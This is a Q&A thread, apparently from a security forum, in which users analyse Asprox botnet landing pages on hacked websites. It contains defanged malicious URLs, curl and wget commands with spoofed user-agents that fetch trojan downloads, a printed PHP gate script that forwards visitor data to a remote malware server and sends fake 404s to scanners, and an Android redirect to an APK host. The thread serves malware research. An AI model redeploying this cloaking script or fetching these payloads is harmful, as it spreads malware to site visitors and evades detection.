There are some emails with links to people's cracked websites with a malware download

Like this kind of email: fake DHL pack station email

... the links often take the form of:

http:// www.mandyhank.com /sbfdiqr.php?get_info=ss00_323
http:// sasfamily.com /fpxlcaj.php?get_info=ss00_323
http:// tfdesignsandpcrepair.com /dinwnle.php?get_info=ss00_323

And, until the site is taken down or fixed, going there with a browser will download a zip file containing an exe trojan.

But trying to wget or curl it gets:

Not Found
The requested URL was not found on this server.

I've tried to use the same user-agent string from my browser in curl. How can I get a copy of the landing page HTML so I can follow it the rest of the way? I doubt it's a JS thing, my browser runs with JS disabled.

  • 1
    I intentionally spaced out the URLs. They are malicious still. (as of time of writing them). – user145837 May 15 '13 at 18:11
  • How did you change curl's User-Agent? I tried it with curl -A "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.10.289 Version/12.02" "http://tfdesignsandpcrepair.com/dinwnle.php?get_info=ss00_323" and the page gave me the zip file. – Ladadadada May 15 '13 at 18:12
  • @Ladadadada I just ran your command exactly and got an html file with 404 not found, "requested url was not found on this server" in a text file. – user145837 May 15 '13 at 18:15
  • Indeed, I do too now. Maybe it's adapting. – Ladadadada May 15 '13 at 18:23
  • @Ladadadada perhaps, repeating with a browser still gets the download though. This has implications for many URL malware scanners. urlquery.com misses these now. – user145837 May 15 '13 at 18:26

According the analysis from TrendMicro this is part of Asprox botnet.

More information on:


The website seem to be be only checking the User-Agent. I tried the following

wget --user-agent="Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" "http://tfdesignsandpcrepair.com/dinwnle.php?get_info=ss00_323" -O file.zip

and it seems to be working

enter image description here

One possibility is that you might have tried so many times without a valid User-Agent that eventually the server blocked your IP and now it's giving you 404 regardless of your request.

Update: Yes, that seems to be the reason. After 3 successful attempts to download the file, the server started throwing me a fake 404. I used a proxy, and I noticed the same behavior; 3 successful downloads and then a response with the length 153 containing:

<h1>Not Found</h1>
  • 1
    I've gotten the same result as well. Looks like it's attempting to fool malware scanners. – Nathan C May 15 '13 at 18:50
  • 2
    That Brings up a good point. That probably means that thousands of sites still have the PHP script, pretending to throw 404s. I've gone thru some older ones, there's a mix of the identical 404 html and real 404s from the web server. – user145837 May 15 '13 at 19:15
  • 1
    Nice job guys. Glad to see real security work is showing up on this site. – k to the z May 22 '13 at 20:51

It may not be the user-agent header that they're looking at, or the only header that they're looking at before determining whether or not to serve the page. You might have a better chance if you copy a full set of headers from your browser, and send them all with the request.

If that works, then you can try various permutations of the header set in order to determine which specific headers they're keying on.


You could request the page from a browser while running a proxy like Burp which would allow you to get the contents of the page.

Also it would give you a valid request that you can replay without a browser using the Repeater feature.

  • Thanks for the Burp suggestion. Pretty cool for recording headers. – user145837 May 15 '13 at 19:07

A webmaster sent me a get.php file. So the virus download comes from a separate server, so the payload can be generated elsewhere. And unless the conditions are met below, then you get a fake 404. If the central virus server wants you to, you get a fake 404.

There are literally hundreds of websites out there that still have this PHP script but the 404 makes it look cleaned up.

I imagine that a virus server can keep track of requests and "ban" requesting IP's based on whatever it wants to. Like too many bad user-agents, or reverse DNS.

What needs to happen next is more of these PHP scripts need to be compiled, get a list of the virus servers, get them taken down and look at how they work.

ini_set("display_errors", 0);

$remote = '';



function php_display($url)
    $query = array();
    $query['ip'] = getIp();
    $query['time'] = date('d/M/Y:H:i:s', time());
    $query['request'] = getRequest();
    $query['path'] = getPath();
    $query['protocol'] = getProtocol();
    $query['useragent'] = getUseragent();
    $query['referer'] = getReferer();

    $url = $url."?".http_build_query($query);

    $content = @file_get_contents($url);

    if(empty($content) OR stripos($content, "error") !== FALSE)

    $content = explode("\n", $content);
    $filename = array_shift($content);
    $content = implode("\n", $content);

    $type = 'application/zip';
    echo $content;

function error_404()
    header("HTTP/1.1 404 Not Found");
    exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
            ."<h1>Not Found</h1>\r\n"
            ."<p>The requested URL was not found on this server.</p>\r\n"

function getRequest()
    return $_SERVER['REQUEST_METHOD'];

function getPath()
    return $_SERVER['REQUEST_URI'];

function getProtocol()

function getUseragent()
    return $_SERVER['HTTP_USER_AGENT'];

function getReferer()
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
    return $referer;    

function getIp()
    $ip = NULL;
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        $ip = $_SERVER['HTTP_CLIENT_IP'];
        $ip = $_SERVER['REMOTE_ADDR'];

    if(strpos($ip, ",") !== FALSE)
        $ips = explode(",", $ip);
        $ip = trim(array_pop($ips));

    return $ip;

You also get something different for some mobile user-agents.

     rv: Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l;
     rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0" 
  "http:// archaicguru.ca /img / get.php?info=867_124381713"

... directed to www.appsoluteconcepts.com

Update 23 may 2013.

I ran:

http:// dekadolstermennekes.nl /templates /rssgets.php?get_info=ss00_323

thru this:

`curl -o #{domain}/winff.out -A "Mozilla/5.0 (Windows NT 5.1; rv:21.0)   
   Gecko/20130401 Firefox/21.0" "#{url}"`

 `curl -o #{domain}/winie8.out -A "Mozilla/5.0 (compatible; MSIE 8.0; 
    Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 
    3.3.69573; WOW64; en-US)" "#{url}"`

 `curl -o #{domain}/linff.out -A "Mozilla/5.0 (X11; Ubuntu; Linux i686; 
    rv:20.0) Gecko/20100101 Firefox/20.0" "#{url}"`

  `curl -o #{domain}/droidAWK.out -A "Mozilla/5.0 (Linux; U; Android 2.2.1; 
     en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) 
     Version/4.0 Mobile Safari/533.1" "#{url}"`

I got fake 404s for both windowses, linux, and mac. For the two android UAs I got an APK hosted elsewhere thanks to javascript:


 <meta content="text/html; charset=Windows-1251" http-equiv="content-type">


 <script language="JavaScript">
   window.location=" http:// bahnsinn-hattersheim.de /mediapool /85/859783 

The .apk file is about 2176026 bytes, MD5 3ffa39687b28f3e6993fe6ae218b91c9 but i lack the 1337 skills to do anything with it.

  • This doesn't seem to be the same thing with which we're dealing here. This sends a DOCTYPE in the body and a 404 in the header. – Adi May 21 '13 at 5:55
  • @Adnan there are probably versions of the php landing page, but this PHP script straight from a webmaster who had one of the landing pages for the "DHL Pack Station" series. When certain conditions aren't met by the landing page request, you get that fake 404. The landing page builds a GET request for the malware server, and, if another set of conditions are or are not met you either get the download or the fake 404. You can see the difference on an affected host where example.com/thephpscript.php gives the fake 404 (or the download) and example.com/randomjunk.php gives a real 404. – user145837 May 21 '13 at 13:31

Since the connection isn't using https I would use wireshark to do a packet capture. Once you have a capture you can right click a packet involved in the http transfer and 'Follow TCP Stream'. It will show you the color coded conversation your browser/system had with the server.

  • While certainly accurate, I don't know that this is terribly relevant for this question. The issue isn't really about what's going over the wire wire, but why the response code changed, and that's more to do with figuring out what's going on in the server than the network. – Xander May 16 '13 at 16:41

Your Answer

